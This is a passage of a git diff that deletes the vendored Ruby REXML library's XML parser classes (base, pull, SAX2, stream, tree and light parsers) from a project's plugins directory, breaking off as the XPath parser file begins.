-      # Returns true if there are more events.  Synonymous with !empty?
-      def has_next?
-        return !(@source.empty? and @stack.empty?)
-      end
-
-      # Push an event back on the head of the stream.  This method
-      # has (theoretically) infinite depth.
-      def unshift token
-        @stack.unshift(token)
-      end
-
-      # Peek at the +depth+ event in the stack.  The first element on the stack
-      # is at depth 0.  If +depth+ is -1, will parse to the end of the input
-      # stream and return the last event, which is always :end_document.
-      # Be aware that this causes the stream to be parsed up to the +depth+ 
-      # event, so you can effectively pre-parse the entire document (pull the 
-      # entire thing into memory) using this method.  
-      def peek depth=0
-        raise %Q[Illegal argument "#{depth}"] if depth < -1
-        temp = []
-        if depth == -1
-          temp.push(pull()) until empty?
-        else
-          while @stack.size+temp.size < depth+1
-            temp.push(pull())
-          end
-        end
-        @stack += temp if temp.size > 0
-        @stack[depth]
-      end
-
-      # Returns the next event.  This is a +PullEvent+ object.
-      def pull
-        if @closed
-          x, @closed = @closed, nil
-          return [ :end_element, x ]
-        end
-        return [ :end_document ] if empty?
-        return @stack.shift if @stack.size > 0
-        #STDERR.puts @source.encoding
-        @source.read if @source.buffer.size<2
-        #STDERR.puts "BUFFER = #{@source.buffer.inspect}"
-        if @document_status == nil
-          #@source.consume( /^\s*/um )
-          word = @source.match( /^((?:\s+)|(?:<[^>]*>))/um )
-          word = word[1] unless word.nil?
-          #STDERR.puts "WORD = #{word.inspect}"
-          case word
-          when COMMENT_START
-            return [ :comment, @source.match( COMMENT_PATTERN, true )[1] ]
-          when XMLDECL_START
-            #STDERR.puts "XMLDECL"
-            results = @source.match( XMLDECL_PATTERN, true )[1]
-            version = VERSION.match( results )
-            version = version[1] unless version.nil?
-            encoding = ENCODING.match(results)
-            encoding = encoding[1] unless encoding.nil?
-            @source.encoding = encoding
-            standalone = STANDALONE.match(results)
-            standalone = standalone[1] unless standalone.nil?
-            return [ :xmldecl, version, encoding, standalone ]
-          when INSTRUCTION_START
-            return [ :processing_instruction, *@source.match(INSTRUCTION_PATTERN, true)[1,2] ]
-          when DOCTYPE_START
-            md = @source.match( DOCTYPE_PATTERN, true )
-            @nsstack.unshift(curr_ns=Set.new)
-            identity = md[1]
-            close = md[2]
-            identity =~ IDENTITY
-            name = $1
-            raise REXML::ParseException.new("DOCTYPE is missing a name") if name.nil?
-            pub_sys = $2.nil? ? nil : $2.strip
-            long_name = $4.nil? ? nil : $4.strip
-            uri = $6.nil? ? nil : $6.strip
-            args = [ :start_doctype, name, pub_sys, long_name, uri ]
-            if close == ">"
-              @document_status = :after_doctype
-              @source.read if @source.buffer.size<2
-              md = @source.match(/^\s*/um, true)
-              @stack << [ :end_doctype ]
-            else
-              @document_status = :in_doctype
-            end
-            return args
-          when /^\s+/
-          else
-            @document_status = :after_doctype
-            @source.read if @source.buffer.size<2
-            md = @source.match(/\s*/um, true)
-            if @source.encoding == "UTF-8"
-              if @source.buffer.respond_to? :force_encoding
-                @source.buffer.force_encoding(Encoding::UTF_8)
-              end
-            end
-          end
-        end
-        if @document_status == :in_doctype
-          md = @source.match(/\s*(.*?>)/um)
-          case md[1]
-          when SYSTEMENTITY 
-            match = @source.match( SYSTEMENTITY, true )[1]
-            return [ :externalentity, match ]
-
-          when ELEMENTDECL_START
-            return [ :elementdecl, @source.match( ELEMENTDECL_PATTERN, true )[1] ]
-
-          when ENTITY_START
-            match = @source.match( ENTITYDECL, true ).to_a.compact
-            match[0] = :entitydecl
-            ref = false
-            if match[1] == '%'
-              ref = true
-              match.delete_at 1
-            end
-            # Now we have to sort out what kind of entity reference this is
-            if match[2] == 'SYSTEM'
-              # External reference
-              match[3] = match[3][1..-2] # PUBID
-              match.delete_at(4) if match.size > 4 # Chop out NDATA decl
-              # match is [ :entity, name, SYSTEM, pubid(, ndata)? ]
-            elsif match[2] == 'PUBLIC'
-              # External reference
-              match[3] = match[3][1..-2] # PUBID
-              match[4] = match[4][1..-2] # HREF
-              # match is [ :entity, name, PUBLIC, pubid, href ]
-            else
-              match[2] = match[2][1..-2]
-              match.pop if match.size == 4
-              # match is [ :entity, name, value ]
-            end
-            match << '%' if ref
-            return match
-          when ATTLISTDECL_START
-            md = @source.match( ATTLISTDECL_PATTERN, true )
-            raise REXML::ParseException.new( "Bad ATTLIST declaration!", @source ) if md.nil?
-            element = md[1]
-            contents = md[0]
-
-            pairs = {}
-            values = md[0].scan( ATTDEF_RE )
-            values.each do |attdef|
-              unless attdef[3] == "#IMPLIED"
-                attdef.compact!
-                val = attdef[3]
-                val = attdef[4] if val == "#FIXED "
-                pairs[attdef[0]] = val
-                if attdef[0] =~ /^xmlns:(.*)/
-                  @nsstack[0] << $1
-                end
-              end
-            end
-            return [ :attlistdecl, element, pairs, contents ]
-          when NOTATIONDECL_START
-            md = nil
-            if @source.match( PUBLIC )
-              md = @source.match( PUBLIC, true )
-              vals = [md[1],md[2],md[4],md[6]]
-            elsif @source.match( SYSTEM )
-              md = @source.match( SYSTEM, true )
-              vals = [md[1],md[2],nil,md[4]]
-            else
-              raise REXML::ParseException.new( "error parsing notation: no matching pattern", @source )
-            end
-            return [ :notationdecl, *vals ]
-          when CDATA_END
-            @document_status = :after_doctype
-            @source.match( CDATA_END, true )
-            return [ :end_doctype ]
-          end
-        end
-        begin
-          if @source.buffer[0] == ?<
-            if @source.buffer[1] == ?/
-              @nsstack.shift
-              last_tag = @tags.pop
-              #md = @source.match_to_consume( '>', CLOSE_MATCH)
-              md = @source.match( CLOSE_MATCH, true )
-              raise REXML::ParseException.new( "Missing end tag for "+
-                "'#{last_tag}' (got \"#{md[1]}\")", 
-                @source) unless last_tag == md[1]
-              return [ :end_element, last_tag ]
-            elsif @source.buffer[1] == ?!
-              md = @source.match(/\A(\s*[^>]*>)/um)
-              #STDERR.puts "SOURCE BUFFER = #{source.buffer}, #{source.buffer.size}"
-              raise REXML::ParseException.new("Malformed node", @source) unless md
-              if md[0][2] == ?-
-                md = @source.match( COMMENT_PATTERN, true )
-
-                case md[1]
-                when /--/, /-$/
-                  raise REXML::ParseException.new("Malformed comment", @source)
-                end
-
-                return [ :comment, md[1] ] if md
-              else
-                md = @source.match( CDATA_PATTERN, true )
-                return [ :cdata, md[1] ] if md
-              end
-              raise REXML::ParseException.new( "Declarations can only occur "+
-                "in the doctype declaration.", @source)
-            elsif @source.buffer[1] == ??
-              md = @source.match( INSTRUCTION_PATTERN, true )
-              return [ :processing_instruction, md[1], md[2] ] if md
-              raise REXML::ParseException.new( "Bad instruction declaration",
-                @source)
-            else
-              # Get the next tag
-              md = @source.match(TAG_MATCH, true)
-              unless md
-                # Check for missing attribute quotes
-                raise REXML::ParseException.new("missing attribute quote", @source) if @source.match(MISSING_ATTRIBUTE_QUOTES )
-                raise REXML::ParseException.new("malformed XML: missing tag start", @source) 
-              end
-              attributes = {}
-              prefixes = Set.new
-              prefixes << md[2] if md[2]
-              @nsstack.unshift(curr_ns=Set.new)
-              if md[4].size > 0
-                attrs = md[4].scan( ATTRIBUTE_PATTERN )
-                raise REXML::ParseException.new( "error parsing attributes: [#{attrs.join ', '}], excess = \"#$'\"", @source) if $' and $'.strip.size > 0
-                attrs.each { |a,b,c,d,e| 
-                  if b == "xmlns"
-                    if c == "xml"
-                      if d != "http://www.w3.org/XML/1998/namespace"
-                        msg = "The 'xml' prefix must not be bound to any other namespace "+
-                        "(http://www.w3.org/TR/REC-xml-names/#ns-decl)"
-                        raise REXML::ParseException.new( msg, @source, self )
-                      end
-                    elsif c == "xmlns"
-                      msg = "The 'xmlns' prefix must not be declared "+
-                      "(http://www.w3.org/TR/REC-xml-names/#ns-decl)"
-                      raise REXML::ParseException.new( msg, @source, self)
-                    end
-                    curr_ns << c
-                  elsif b
-                    prefixes << b unless b == "xml"
-                  end
-
-                  if attributes.has_key? a
-                    msg = "Duplicate attribute #{a.inspect}"
-                    raise REXML::ParseException.new( msg, @source, self)
-                  end
-
-                  attributes[a] = e 
-                }
-              end
-        
-              # Verify that all of the prefixes have been defined
-              for prefix in prefixes
-                unless @nsstack.find{|k| k.member?(prefix)}
-                  raise UndefinedNamespaceException.new(prefix,@source,self)
-                end
-              end
-
-              if md[6]
-                @closed = md[1]
-                @nsstack.shift
-              else
-                @tags.push( md[1] )
-              end
-              return [ :start_element, md[1], attributes ]
-            end
-          else
-            md = @source.match( TEXT_PATTERN, true )
-            if md[0].length == 0
-              @source.match( /(\s+)/, true )
-            end
-            #STDERR.puts "GOT #{md[1].inspect}" unless md[0].length == 0
-            #return [ :text, "" ] if md[0].length == 0
-            # unnormalized = Text::unnormalize( md[1], self )
-            # return PullEvent.new( :text, md[1], unnormalized )
-            return [ :text, md[1] ]
-          end
-        rescue REXML::UndefinedNamespaceException
-          raise
-        rescue REXML::ParseException
-          raise
-        rescue Exception, NameError => error
-          raise REXML::ParseException.new( "Exception parsing",
-            @source, self, (error ? error : $!) )
-        end
-        return [ :dummy ]
-      end
-
-      def entity( reference, entities )
-        value = nil
-        value = entities[ reference ] if entities
-        if not value
-          value = DEFAULT_ENTITIES[ reference ]
-          value = value[2] if value
-        end
-        unnormalize( value, entities ) if value
-      end
-
-      # Escapes all possible entities
-      def normalize( input, entities=nil, entity_filter=nil )
-        copy = input.clone
-        # Doing it like this rather than in a loop improves the speed
-        copy.gsub!( EREFERENCE, '&amp;' )
-        entities.each do |key, value|
-          copy.gsub!( value, "&#{key};" ) unless entity_filter and 
-                                      entity_filter.include?(entity)
-        end if entities
-        copy.gsub!( EREFERENCE, '&amp;' )
-        DEFAULT_ENTITIES.each do |key, value|
-          copy.gsub!( value[3], value[1] )
-        end
-        copy
-      end
-
-      # Unescapes all possible entities
-      def unnormalize( string, entities=nil, filter=nil )
-        rv = string.clone
-        rv.gsub!( /\r\n?/, "\n" )
-        matches = rv.scan( REFERENCE_RE )
-        return rv if matches.size == 0
-        rv.gsub!( /&#0*((?:\d+)|(?:x[a-fA-F0-9]+));/ ) {
-          m=$1
-          m = "0#{m}" if m[0] == ?x
-          [Integer(m)].pack('U*')
-        }
-        matches.collect!{|x|x[0]}.compact!
-        if matches.size > 0
-          matches.each do |entity_reference|
-            unless filter and filter.include?(entity_reference)
-              entity_value = entity( entity_reference, entities )
-              if entity_value
-                re = /&#{entity_reference};/
-                rv.gsub!( re, entity_value )
-              else
-                er = DEFAULT_ENTITIES[entity_reference]
-                rv.gsub!( er[0], er[2] ) if er
-              end
-            end
-          end
-          rv.gsub!( /&amp;/, '&' )
-        end
-        rv
-      end
-    end
-  end
-end
-
-=begin
-  case event[0]
-  when :start_element
-  when :text
-  when :end_element
-  when :processing_instruction
-  when :cdata
-  when :comment
-  when :xmldecl
-  when :start_doctype
-  when :end_doctype
-  when :externalentity
-  when :elementdecl
-  when :entity
-  when :attlistdecl
-  when :notationdecl
-  when :end_doctype
-  end
-=end
diff --git a/vendor/plugins/rexml/lib/rexml/parsers/lightparser.rb b/vendor/plugins/rexml/lib/rexml/parsers/lightparser.rb
deleted file mode 100644
index 0f350349..00000000
--- a/vendor/plugins/rexml/lib/rexml/parsers/lightparser.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-require 'rexml/parsers/streamparser'
-require 'rexml/parsers/baseparser'
-require 'rexml/light/node'
-
-module REXML
-	module Parsers
-		class LightParser
-			def initialize stream
-				@stream = stream
-				@parser = REXML::Parsers::BaseParser.new( stream )
-			end
-
-      def add_listener( listener )
-        @parser.add_listener( listener )
-      end
-
-      def rewind
-        @stream.rewind
-        @parser.stream = @stream
-      end
-
-			def parse
-				root = context = [ :document ]
-				while true
-					event = @parser.pull
-					case event[0]
-					when :end_document
-						break
-					when :end_doctype
-						context = context[1]
-					when :start_element, :start_doctype
-						new_node = event
-						context << new_node
-						new_node[1,0] = [context]
-						context = new_node
-					when :end_element, :end_doctype
-						context = context[1]
-					else
-						new_node = event
-						context << new_node
-						new_node[1,0] = [context]
-					end
-				end
-				root
-			end
-		end
-
-		# An element is an array.  The array contains:
-		#  0			The parent element
-		#  1			The tag name
-		#  2			A hash of attributes
-		#  3..-1	The child elements
-		# An element is an array of size > 3
-		# Text is a String
-		# PIs are [ :processing_instruction, target, data ]
-		# Comments are [ :comment, data ]
-		# DocTypes are DocType structs
-		# The root is an array with XMLDecls, Text, DocType, Array, Text
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parsers/pullparser.rb b/vendor/plugins/rexml/lib/rexml/parsers/pullparser.rb
deleted file mode 100644
index 36dc7160..00000000
--- a/vendor/plugins/rexml/lib/rexml/parsers/pullparser.rb
+++ /dev/null
@@ -1,196 +0,0 @@
-require 'forwardable'
-
-require 'rexml/parseexception'
-require 'rexml/parsers/baseparser'
-require 'rexml/xmltokens'
-
-module REXML
-  module Parsers
-    # = Using the Pull Parser
-    # <em>This API is experimental, and subject to change.</em>
-    #  parser = PullParser.new( "<a>text<b att='val'/>txet</a>" )
-    #  while parser.has_next?
-    #    res = parser.next
-    #    puts res[1]['att'] if res.start_tag? and res[0] == 'b'
-    #  end
-    # See the PullEvent class for information on the content of the results.
-    # The data is identical to the arguments passed for the various events to
-    # the StreamListener API.
-    #
-    # Notice that:
-    #  parser = PullParser.new( "<a>BAD DOCUMENT" )
-    #  while parser.has_next?
-    #    res = parser.next
-    #    raise res[1] if res.error?
-    #  end
-    #
-    # Nat Price gave me some good ideas for the API.
-    class PullParser
-      include XMLTokens
-      extend Forwardable
-
-      def_delegators( :@parser, :has_next? )
-      def_delegators( :@parser, :entity )
-      def_delegators( :@parser, :empty? )
-      def_delegators( :@parser, :source )
-
-      def initialize stream
-        @entities = {}
-        @listeners = nil
-        @parser = BaseParser.new( stream )
-        @my_stack = []
-      end
-
-      def add_listener( listener )
-        @listeners = [] unless @listeners
-        @listeners << listener
-      end
-
-      def each
-        while has_next?
-          yield self.pull
-        end
-      end
-
-      def peek depth=0
-        if @my_stack.length <= depth
-          (depth - @my_stack.length + 1).times {
-            e = PullEvent.new(@parser.pull)
-            @my_stack.push(e)
-          }
-        end
-        @my_stack[depth]
-      end
-
-      def pull
-        return @my_stack.shift if @my_stack.length > 0
-
-        event = @parser.pull
-        case event[0]
-        when :entitydecl
-          @entities[ event[1] ] = 
-            event[2] unless event[2] =~ /PUBLIC|SYSTEM/
-        when :text
-          unnormalized = @parser.unnormalize( event[1], @entities )
-          event << unnormalized
-        end
-        PullEvent.new( event )
-      end
-
-      def unshift token
-        @my_stack.unshift token
-      end
-    end
-
-    # A parsing event.  The contents of the event are accessed as an +Array?,
-    # and the type is given either by the ...? methods, or by accessing the
-    # +type+ accessor.  The contents of this object vary from event to event,
-    # but are identical to the arguments passed to +StreamListener+s for each
-    # event.
-    class PullEvent
-      # The type of this event.  Will be one of :tag_start, :tag_end, :text,
-      # :processing_instruction, :comment, :doctype, :attlistdecl, :entitydecl,
-      # :notationdecl, :entity, :cdata, :xmldecl, or :error.
-      def initialize(arg)
-        @contents = arg
-      end
-
-      def []( start, endd=nil)
-        if start.kind_of? Range
-          @contents.slice( start.begin+1 .. start.end )
-        elsif start.kind_of? Numeric
-          if endd.nil?
-            @contents.slice( start+1 )
-          else
-            @contents.slice( start+1, endd )
-          end
-        else
-          raise "Illegal argument #{start.inspect} (#{start.class})"
-        end
-      end
-
-      def event_type
-        @contents[0]
-      end
-
-      # Content: [ String tag_name, Hash attributes ]
-      def start_element?
-        @contents[0] == :start_element
-      end
-
-      # Content: [ String tag_name ]
-      def end_element?
-        @contents[0] == :end_element
-      end
-
-      # Content: [ String raw_text, String unnormalized_text ]
-      def text?
-        @contents[0] == :text
-      end
-
-      # Content: [ String text ]
-      def instruction?
-        @contents[0] == :processing_instruction
-      end
-
-      # Content: [ String text ]
-      def comment?
-        @contents[0] == :comment
-      end
-
-      # Content: [ String name, String pub_sys, String long_name, String uri ]
-      def doctype?
-        @contents[0] == :start_doctype
-      end
-
-      # Content: [ String text ]
-      def attlistdecl?
-        @contents[0] == :attlistdecl
-      end
-
-      # Content: [ String text ]
-      def elementdecl?
-        @contents[0] == :elementdecl
-      end
-
-      # Due to the wonders of DTDs, an entity declaration can be just about
-      # anything.  There's no way to normalize it; you'll have to interpret the
-      # content yourself.  However, the following is true:
-      #
-      # * If the entity declaration is an internal entity:
-      #   [ String name, String value ]
-      # Content: [ String text ]
-      def entitydecl?
-        @contents[0] == :entitydecl
-      end
-
-      # Content: [ String text ]
-      def notationdecl?
-        @contents[0] == :notationdecl
-      end
-
-      # Content: [ String text ]
-      def entity?
-        @contents[0] == :entity
-      end
-
-      # Content: [ String text ]
-      def cdata?
-        @contents[0] == :cdata
-      end
-
-      # Content: [ String version, String encoding, String standalone ]
-      def xmldecl?
-        @contents[0] == :xmldecl
-      end
-
-      def error?
-        @contents[0] == :error
-      end
-
-      def inspect
-        @contents[0].to_s + ": " + @contents[1..-1].inspect
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parsers/sax2parser.rb b/vendor/plugins/rexml/lib/rexml/parsers/sax2parser.rb
deleted file mode 100644
index cafc3937..00000000
--- a/vendor/plugins/rexml/lib/rexml/parsers/sax2parser.rb
+++ /dev/null
@@ -1,247 +0,0 @@
-require 'rexml/parsers/baseparser'
-require 'rexml/parseexception'
-require 'rexml/namespace'
-require 'rexml/text'
-
-module REXML
-	module Parsers
-    # SAX2Parser
-		class SAX2Parser
-			def initialize source
-				@parser = BaseParser.new(source)
-				@listeners = []
-				@procs = []
-				@namespace_stack = []
-				@has_listeners = false
-				@tag_stack = []
-        @entities = {}
-			end
-
-      def source
-        @parser.source
-      end
-			
-      def add_listener( listener )
-        @parser.add_listener( listener )
-      end
-
-			# Listen arguments:
-			#
-			# Symbol, Array, Block
-			# 	Listen to Symbol events on Array elements
-			# Symbol, Block
-			#   Listen to Symbol events
-			# Array, Listener
-			# 	Listen to all events on Array elements
-			# Array, Block
-			# 	Listen to :start_element events on Array elements
-			# Listener
-			# 	Listen to All events
-			#
-			# Symbol can be one of: :start_element, :end_element,
-			# :start_prefix_mapping, :end_prefix_mapping, :characters,
-			# :processing_instruction, :doctype, :attlistdecl, :elementdecl,
-			# :entitydecl, :notationdecl, :cdata, :xmldecl, :comment
-      #
-      # There is an additional symbol that can be listened for: :progress.
-      # This will be called for every event generated, passing in the current 
-      # stream position.
-			#
-			# Array contains regular expressions or strings which will be matched
-			# against fully qualified element names.
-			#
-			# Listener must implement the methods in SAX2Listener
-			#
-			# Block will be passed the same arguments as a SAX2Listener method would
-			# be, where the method name is the same as the matched Symbol.
-			# See the SAX2Listener for more information.
-			def listen( *args, &blok )
-				if args[0].kind_of? Symbol
-					if args.size == 2
-						args[1].each { |match| @procs << [args[0], match, blok] }
-					else
-						add( [args[0], nil, blok] )
-					end
-				elsif args[0].kind_of? Array
-					if args.size == 2
-						args[0].each { |match| add( [nil, match, args[1]] ) }
-					else
-						args[0].each { |match| add( [ :start_element, match, blok ] ) }
-					end
-				else
-					add([nil, nil, args[0]])
-				end
-			end
-			
-			def deafen( listener=nil, &blok )
-				if listener
-					@listeners.delete_if {|item| item[-1] == listener }
-					@has_listeners = false if @listeners.size == 0
-				else
-					@procs.delete_if {|item| item[-1] == blok }
-				end
-			end
-			
-			def parse
-				@procs.each { |sym,match,block| block.call if sym == :start_document }
-				@listeners.each { |sym,match,block| 
-					block.start_document if sym == :start_document or sym.nil?
-				}
-				root = context = []
-				while true
-					event = @parser.pull
-					case event[0]
-					when :end_document
-						handle( :end_document )
-						break
-          when :start_doctype
-            handle( :doctype, *event[1..-1])
-					when :end_doctype
-						context = context[1]
-					when :start_element
-						@tag_stack.push(event[1])
-						# find the observers for namespaces
-						procs = get_procs( :start_prefix_mapping, event[1] )
-						listeners = get_listeners( :start_prefix_mapping, event[1] )
-						if procs or listeners
-							# break out the namespace declarations
-							# The attributes live in event[2]
-							event[2].each {|n, v| event[2][n] = @parser.normalize(v)}
-							nsdecl = event[2].find_all { |n, value| n =~ /^xmlns(:|$)/ }
-							nsdecl.collect! { |n, value| [ n[6..-1], value ] }
-							@namespace_stack.push({})
-							nsdecl.each do |n,v|
-								@namespace_stack[-1][n] = v
-								# notify observers of namespaces
-								procs.each { |ob| ob.call( n, v ) } if procs
-								listeners.each { |ob| ob.start_prefix_mapping(n, v) } if listeners
-							end
-						end
-						event[1] =~ Namespace::NAMESPLIT
-						prefix = $1
-						local = $2
-						uri = get_namespace(prefix)
-						# find the observers for start_element
-						procs = get_procs( :start_element, event[1] )
-						listeners = get_listeners( :start_element, event[1] )
-						# notify observers
-						procs.each { |ob| ob.call( uri, local, event[1], event[2] ) } if procs
-						listeners.each { |ob| 
-							ob.start_element( uri, local, event[1], event[2] ) 
-						} if listeners
-					when :end_element
-						@tag_stack.pop
-						event[1] =~ Namespace::NAMESPLIT
-						prefix = $1
-						local = $2
-						uri = get_namespace(prefix)
-						# find the observers for start_element
-						procs = get_procs( :end_element, event[1] )
-						listeners = get_listeners( :end_element, event[1] )
-						# notify observers
-						procs.each { |ob| ob.call( uri, local, event[1] ) } if procs
-						listeners.each { |ob| 
-							ob.end_element( uri, local, event[1] ) 
-						} if listeners
-
-						namespace_mapping = @namespace_stack.pop
-						# find the observers for namespaces
-						procs = get_procs( :end_prefix_mapping, event[1] )
-						listeners = get_listeners( :end_prefix_mapping, event[1] )
-						if procs or listeners
-							namespace_mapping.each do |ns_prefix, ns_uri|
-								# notify observers of namespaces
-								procs.each { |ob| ob.call( ns_prefix ) } if procs
-								listeners.each { |ob| ob.end_prefix_mapping(ns_prefix) } if listeners
-							end
-						end
-					when :text
-            #normalized = @parser.normalize( event[1] )
-            #handle( :characters, normalized )
-            copy = event[1].clone
-
-            esub = proc { |match| 
-              if @entities.has_key?($1)
-                @entities[$1].gsub(Text::REFERENCE, &esub)
-              else
-                match
-              end
-            }
-
-            copy.gsub!( Text::REFERENCE, &esub )
-            copy.gsub!( Text::NUMERICENTITY ) {|m|
-              m=$1
-              m = "0#{m}" if m[0] == ?x
-              [Integer(m)].pack('U*')
-            }
-            handle( :characters, copy )
-          when :entitydecl
-            @entities[ event[1] ] = event[2] if event.size == 3
-						handle( *event )
-					when :processing_instruction, :comment, :attlistdecl, 
-						:elementdecl, :cdata, :notationdecl, :xmldecl
-						handle( *event )
-					end
-          handle( :progress, @parser.position )
-				end
-			end
-
-			private
-			def handle( symbol, *arguments )
-				tag = @tag_stack[-1]
-				procs = get_procs( symbol, tag )
-				listeners = get_listeners( symbol, tag )
-				# notify observers
-				procs.each { |ob| ob.call( *arguments ) } if procs
-				listeners.each { |l| 
-					l.send( symbol.to_s, *arguments ) 
-				} if listeners
-			end
-
-			# The following methods are duplicates, but it is faster than using
-			# a helper
-			def get_procs( symbol, name )
-				return nil if @procs.size == 0
-				@procs.find_all do |sym, match, block|
-          #puts sym.inspect+"=="+symbol.inspect+ "\t"+match.inspect+"=="+name.inspect+ "\t"+( (sym.nil? or symbol == sym) and ((name.nil? and match.nil?) or match.nil? or ( (name == match) or (match.kind_of? Regexp and name =~ match)))).to_s
-					(
-						(sym.nil? or symbol == sym) and 
-						((name.nil? and match.nil?) or match.nil? or (
-							(name == match) or
-							(match.kind_of? Regexp and name =~ match)
-							)
-						)
-					)
-				end.collect{|x| x[-1]}
-			end
-			def get_listeners( symbol, name )
-				return nil if @listeners.size == 0
-				@listeners.find_all do |sym, match, block|
-					(
-						(sym.nil? or symbol == sym) and 
-						((name.nil? and match.nil?) or match.nil? or (
-							(name == match) or
-							(match.kind_of? Regexp and name =~ match)
-							)
-						)
-					)
-				end.collect{|x| x[-1]}
-			end
-
-			def add( pair )
-				if pair[-1].respond_to? :call
-					@procs << pair unless @procs.include? pair
-				else
-					@listeners << pair unless @listeners.include? pair
-					@has_listeners = true
-				end
-			end
-
-			def get_namespace( prefix ) 
-        uris = (@namespace_stack.find_all { |ns| not ns[prefix].nil? }) ||
-					(@namespace_stack.find { |ns| not ns[nil].nil? })
-				uris[-1][prefix] unless uris.nil? or 0 == uris.size
-			end
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parsers/streamparser.rb b/vendor/plugins/rexml/lib/rexml/parsers/streamparser.rb
deleted file mode 100644
index 256d0f61..00000000
--- a/vendor/plugins/rexml/lib/rexml/parsers/streamparser.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-module REXML
-  module Parsers
-    class StreamParser
-      def initialize source, listener
-        @listener = listener
-        @parser = BaseParser.new( source )
-      end
-      
-      def add_listener( listener )
-        @parser.add_listener( listener )
-      end
-      
-      def parse
-        # entity string
-        while true
-          event = @parser.pull
-          case event[0]
-          when :end_document
-            return
-          when :start_element
-            attrs = event[2].each do |n, v|
-              event[2][n] = @parser.unnormalize( v )
-            end
-            @listener.tag_start( event[1], attrs )
-          when :end_element
-            @listener.tag_end( event[1] )
-          when :text
-            normalized = @parser.unnormalize( event[1] )
-            @listener.text( normalized )
-          when :processing_instruction
-            @listener.instruction( *event[1,2] )
-          when :start_doctype
-            @listener.doctype( *event[1..-1] )
-          when :end_doctype
-            # FIXME: remove this condition for milestone:3.2
-            @listener.doctype_end if @listener.respond_to? :doctype_end
-          when :comment, :attlistdecl, :cdata, :xmldecl, :elementdecl
-            @listener.send( event[0].to_s, *event[1..-1] )
-          when :entitydecl, :notationdecl
-            @listener.send( event[0].to_s, event[1..-1] )
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parsers/treeparser.rb b/vendor/plugins/rexml/lib/rexml/parsers/treeparser.rb
deleted file mode 100644
index 30327d0d..00000000
--- a/vendor/plugins/rexml/lib/rexml/parsers/treeparser.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-require 'rexml/validation/validationexception'
-require 'rexml/undefinednamespaceexception'
-
-module REXML
-  module Parsers
-    class TreeParser
-      def initialize( source, build_context = Document.new )
-        @build_context = build_context
-        @parser = Parsers::BaseParser.new( source )
-      end
-
-      def add_listener( listener )
-        @parser.add_listener( listener )
-      end
-
-      def parse
-        tag_stack = []
-        in_doctype = false
-        entities = nil
-        begin
-          while true
-            event = @parser.pull
-            #STDERR.puts "TREEPARSER GOT #{event.inspect}"
-            case event[0]
-            when :end_document
-              unless tag_stack.empty?
-                #raise ParseException.new("No close tag for #{tag_stack.inspect}")
-                raise ParseException.new("No close tag for #{@build_context.xpath}")
-              end
-              return
-            when :start_element
-              tag_stack.push(event[1])
-              el = @build_context = @build_context.add_element( event[1] )
-              event[2].each do |key, value|
-                el.attributes[key]=Attribute.new(key,value,self)
-              end
-            when :end_element
-              tag_stack.pop
-              @build_context = @build_context.parent
-            when :text
-              if not in_doctype
-                if @build_context[-1].instance_of? Text
-                  @build_context[-1] << event[1]
-                else
-                  @build_context.add( 
-                    Text.new(event[1], @build_context.whitespace, nil, true) 
-                  ) unless (
-                    @build_context.ignore_whitespace_nodes and
-                    event[1].strip.size==0
-                  )
-                end
-              end
-            when :comment
-              c = Comment.new( event[1] )
-              @build_context.add( c )
-            when :cdata
-              c = CData.new( event[1] )
-              @build_context.add( c )
-            when :processing_instruction
-              @build_context.add( Instruction.new( event[1], event[2] ) )
-            when :end_doctype
-              in_doctype = false
-              entities.each { |k,v| entities[k] = @build_context.entities[k].value }
-              @build_context = @build_context.parent
-            when :start_doctype
-              doctype = DocType.new( event[1..-1], @build_context )
-              @build_context = doctype
-              entities = {}
-              in_doctype = true
-            when :attlistdecl
-              n = AttlistDecl.new( event[1..-1] )
-              @build_context.add( n )
-            when :externalentity
-              n = ExternalEntity.new( event[1] )
-              @build_context.add( n )
-            when :elementdecl
-              n = ElementDecl.new( event[1] )
-              @build_context.add(n)
-            when :entitydecl
-              entities[ event[1] ] = event[2] unless event[2] =~ /PUBLIC|SYSTEM/
-              @build_context.add(Entity.new(event))
-            when :notationdecl
-              n = NotationDecl.new( *event[1..-1] )
-              @build_context.add( n )
-            when :xmldecl
-              x = XMLDecl.new( event[1], event[2], event[3] )
-              @build_context.add( x )
-            end
-          end
-        rescue REXML::Validation::ValidationException
-          raise
-        rescue REXML::UndefinedNamespaceException
-          raise
-        rescue
-          raise ParseException.new( $!.message, @parser.source, @parser, $! )
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parsers/ultralightparser.rb b/vendor/plugins/rexml/lib/rexml/parsers/ultralightparser.rb
deleted file mode 100644
index adc4af18..00000000
--- a/vendor/plugins/rexml/lib/rexml/parsers/ultralightparser.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-require 'rexml/parsers/streamparser'
-require 'rexml/parsers/baseparser'
-
-module REXML
-	module Parsers
-		class UltraLightParser
-			def initialize stream
-				@stream = stream
-				@parser = REXML::Parsers::BaseParser.new( stream )
-			end
-
-      def add_listener( listener )
-        @parser.add_listener( listener )
-      end
-
-      def rewind
-        @stream.rewind
-        @parser.stream = @stream
-      end
-
-			def parse
-				root = context = []
-				while true
-					event = @parser.pull
-					case event[0]
-					when :end_document
-						break
-					when :end_doctype
-						context = context[1]
-					when :start_element, :doctype
-						context << event
-						event[1,0] = [context]
-						context = event
-					when :end_element
-						context = context[1]
-					else
-						context << event
-					end
-				end
-				root
-			end
-		end
-
-		# An element is an array.  The array contains:
-		#  0			The parent element
-		#  1			The tag name
-		#  2			A hash of attributes
-		#  3..-1	The child elements
-		# An element is an array of size > 3
-		# Text is a String
-		# PIs are [ :processing_instruction, target, data ]
-		# Comments are [ :comment, data ]
-		# DocTypes are DocType structs
-		# The root is an array with XMLDecls, Text, DocType, Array, Text
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/parsers/xpathparser.rb b/vendor/plugins/rexml/lib/rexml/parsers/xpathparser.rb
deleted file mode 100644
index 15219885..00000000
--- a/vendor/plugins/rexml/lib/rexml/parsers/xpathparser.rb
+++ /dev/null
@@ -1,698 +0,0 @@
-require 'rexml/namespace'
-require 'rexml/xmltokens'
-
